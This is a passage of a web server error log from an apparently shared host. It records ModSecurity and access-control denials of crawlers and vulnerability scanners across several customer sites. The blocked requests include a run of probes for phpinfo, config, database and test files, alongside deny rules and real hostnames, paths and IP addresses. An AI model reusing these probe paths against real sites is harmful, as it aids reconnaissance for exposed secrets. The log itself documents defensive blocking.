of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/host-info.php"] [unique_id "ai3yJimiP80klyS0NnoPzQABIGU"] [Sat Jun 13 18:13:26.830175 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:13:26.830627 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:13:26.891789 2026] [security2:error] [pid 531155:tid 531170] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/status.php"] [unique_id "ai3yJimiP80klyS0NnoP1gABdw4"] [Sat Jun 13 18:13:26.892806 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.39:40806] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:26.893098 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.39:40806] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:26.961766 2026] [security2:error] [pid 531155:tid 531405] [client 109.105.194.6:56350] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/wp-json/wp/v2/themes"] [unique_id "ai3yJimiP80klyS0NnoP2gAAAYI"] [Sat Jun 13 18:13:26.969296 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.19:34518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:26.969754 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.19:34518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:26.973225 2026] [security2:error] [pid 531155:tid 531279] [remote 17.241.227.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJimiP80klyS0NnoP3AABWHs"] [Sat Jun 13 18:13:26.976209 2026] [security2:error] [pid 531155:tid 531222] [remote 17.246.15.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJimiP80klyS0NnoP3QABVkI"] [Sat Jun 13 18:13:27.024083 2026] [security2:error] [pid 531155:tid 531207] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/system.php"] [unique_id "ai3yJymiP80klyS0NnoP4QABTjM"] [Sat Jun 13 18:13:27.156147 2026] [security2:error] [pid 531155:tid 531161] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/system/info.php"] [unique_id "ai3yJymiP80klyS0NnoP5wABGQU"] [Sat Jun 13 18:13:27.157812 2026] [security2:error] [pid 531155:tid 531206] [remote 109.105.194.6:56215] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/"] [unique_id "ai3yJymiP80klyS0NnoP6AABXTI"] [Sat Jun 13 18:13:27.288546 2026] [security2:error] [pid 531155:tid 531273] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/sys/info.php"] [unique_id "ai3yJymiP80klyS0NnoP9AABPXU"] [Sat Jun 13 18:13:27.340463 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.61:62676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:27.340768 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.61:62676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:27.351023 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:13:27.351302 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:13:27.367253 2026] [security2:error] [pid 531155:tid 531200] [remote 17.241.227.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJymiP80klyS0NnoP-QABNCw"] [Sat Jun 13 18:13:27.410178 2026] [access_compat:error] [pid 531155:tid 531195] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:27.410561 2026] [access_compat:error] [pid 531155:tid 531195] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:27.420642 2026] [security2:error] [pid 531155:tid 531281] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/sys/phpinfo.php"] [unique_id "ai3yJymiP80klyS0NnoP_AABPH0"] [Sat Jun 13 18:13:27.549601 2026] [core:error] [pid 531155:tid 531348] [client 47.79.201.157:41590] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:27.549622 2026] [core:error] [pid 531155:tid 531348] [client 47.79.201.157:41590] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:27.552250 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/.php"] [unique_id "ai3yJymiP80klyS0NnoQBQABgwA"] [Sat Jun 13 18:13:27.560493 2026] [security2:error] [pid 531155:tid 531347] [client 109.105.194.6:56476] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/"] [unique_id "ai3yJymiP80klyS0NnoQBgAAAUg"] [Sat Jun 13 18:13:27.574946 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.108:61785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:27.575229 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.108:61785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:27.628950 2026] [security2:error] [pid 531155:tid 531221] [remote 17.246.15.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJymiP80klyS0NnoQCAABV0E"] [Sat Jun 13 18:13:27.683987 2026] [security2:error] [pid 531155:tid 531178] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/db.php"] [unique_id "ai3yJymiP80klyS0NnoQDAABYBY"] [Sat Jun 13 18:13:27.755731 2026] [security2:error] [pid 531155:tid 531248] [remote 109.105.194.6:56215] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/wp-json/wp/v2/plugins"] [unique_id "ai3yJymiP80klyS0NnoQEAABIFw"] [Sat Jun 13 18:13:27.816329 2026] [security2:error] [pid 531155:tid 531217] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/database.php"] [unique_id "ai3yJymiP80klyS0NnoQEwABLj0"] [Sat Jun 13 18:13:27.875604 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAxL3dha2V1cC93YWtldXAx [Sat Jun 13 18:13:27.875889 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAxL3dha2V1cC93YWtldXAx [Sat Jun 13 18:13:27.902316 2026] [security2:error] [pid 531155:tid 531167] [remote 110.249.201.15:17402] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product-tag/%E0%B8%96%E0%B8%B8%E0%B8%87%E0%B8%A1%E0%B8%B7%E0%B8%AD/page/2/"] [unique_id "ai3yJymiP80klyS0NnoQFwABfQs"] [Sat Jun 13 18:13:27.948083 2026] [security2:error] [pid 531155:tid 531274] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/home.php"] [unique_id "ai3yJymiP80klyS0NnoQHAABEHY"] [Sat Jun 13 18:13:28.080232 2026] [security2:error] [pid 531155:tid 531182] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/default.php"] [unique_id "ai3yKCmiP80klyS0NnoQLwABXxo"] [Sat Jun 13 18:13:28.136926 2026] [security2:error] [pid 531155:tid 531258] [remote 17.241.219.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKCmiP80klyS0NnoQNAABW2Y"] [Sat Jun 13 18:13:28.138219 2026] [security2:error] [pid 531155:tid 531367] [client 109.105.194.6:56595] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/wp-json/wp/v2/plugins"] [unique_id "ai3yKCmiP80klyS0NnoQNQAAAVw"] [Sat Jun 13 18:13:28.162955 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.40:36478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:28.163401 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.40:36478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:28.212071 2026] [security2:error] [pid 531155:tid 531179] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/conf.php"] [unique_id "ai3yKCmiP80klyS0NnoQPAABIxc"] [Sat Jun 13 18:13:28.242515 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.32:45143] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:28.242802 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.32:45143] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:28.336206 2026] [security2:error] [pid 531155:tid 531234] [remote 109.105.194.6:56215] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/"] [unique_id "ai3yKCmiP80klyS0NnoQQAABGk4"] [Sat Jun 13 18:13:28.343960 2026] [security2:error] [pid 531155:tid 531214] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/config.php"] [unique_id "ai3yKCmiP80klyS0NnoQQQABbTo"] [Sat Jun 13 18:13:28.400701 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8xL2lucHV0L2lucHV0NA== [Sat Jun 13 18:13:28.401021 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8xL2lucHV0L2lucHV0NA== [Sat Jun 13 18:13:28.475827 2026] [security2:error] [pid 531155:tid 531192] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/configuration.php"] [unique_id "ai3yKCmiP80klyS0NnoQSQABgyQ"] [Sat Jun 13 18:13:28.607595 2026] [security2:error] [pid 531155:tid 531187] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/_test.php"] [unique_id "ai3yKCmiP80klyS0NnoQTgABVx8"] [Sat Jun 13 18:13:28.643984 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.7:30647] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:28.644257 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.7:30647] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:28.737806 2026] [security2:error] [pid 531155:tid 531292] [client 109.105.194.6:56723] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/"] [unique_id "ai3yKCmiP80klyS0NnoQVwAAARE"] [Sat Jun 13 18:13:28.739357 2026] [security2:error] [pid 531155:tid 531209] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/_phpinfo.php"] [unique_id "ai3yKCmiP80klyS0NnoQWAABTDU"] [Sat Jun 13 18:13:28.803565 2026] [security2:error] [pid 531155:tid 531375] [client 89.124.113.107:51332] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.113.124.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "pikarthouse.com"] [uri "/wp-comments-post.php"] [unique_id "ai3yKCmiP80klyS0NnoQWQAAAWQ"], referer: https://pikarthouse.com/blog/project/minimalist-residence/ [Sat Jun 13 18:13:28.803699 2026] [security2:error] [pid 531155:tid 531375] [client 89.124.113.107:51332] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "409"] [hostname "pikarthouse.com"] [uri "/wp-comments-post.php"] [unique_id "ai3yKCmiP80klyS0NnoQWQAAAWQ"], referer: https://pikarthouse.com/blog/project/minimalist-residence/ [Sat Jun 13 18:13:28.871203 2026] [security2:error] [pid 531155:tid 531266] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/__test.php"] [unique_id "ai3yKCmiP80klyS0NnoQXQABLG4"] [Sat Jun 13 18:13:28.909276 2026] [access_compat:error] 